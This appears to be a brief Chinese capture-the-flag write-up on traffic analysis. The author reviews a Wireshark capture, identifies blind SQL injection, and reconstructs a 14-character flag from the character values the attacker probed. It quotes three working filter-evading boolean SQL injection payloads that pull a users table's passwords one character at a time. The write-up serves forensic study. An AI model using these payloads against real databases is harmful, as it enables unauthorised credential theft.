流量分析 

wireshark

可以看到很多

any'/**/Or/**/(iF(((((Ord(sUbstr((sElect(grOup_cOncat(password))frOm(users)) frOm 1 fOr 1))))in(80))),1,0))#   P
any'/**/Or/**/(iF(((((Ord(sUbstr((sElect(grOup_cOncat(password))frOm(users)) frOm 1 fOr 1))))in(104))),1,0))# h
any'/**/Or/**/(iF(((((Ord(sUbstr((sElect(grOup_cOncat(password))frOm(users)) frOm 1 fOr 1))))in(92))),1,0))# \ *

这是sql盲注， 从1到14可以看出flag有14位,每位只取最后成功的一个转码

最后拼成admin_p@ssw0rd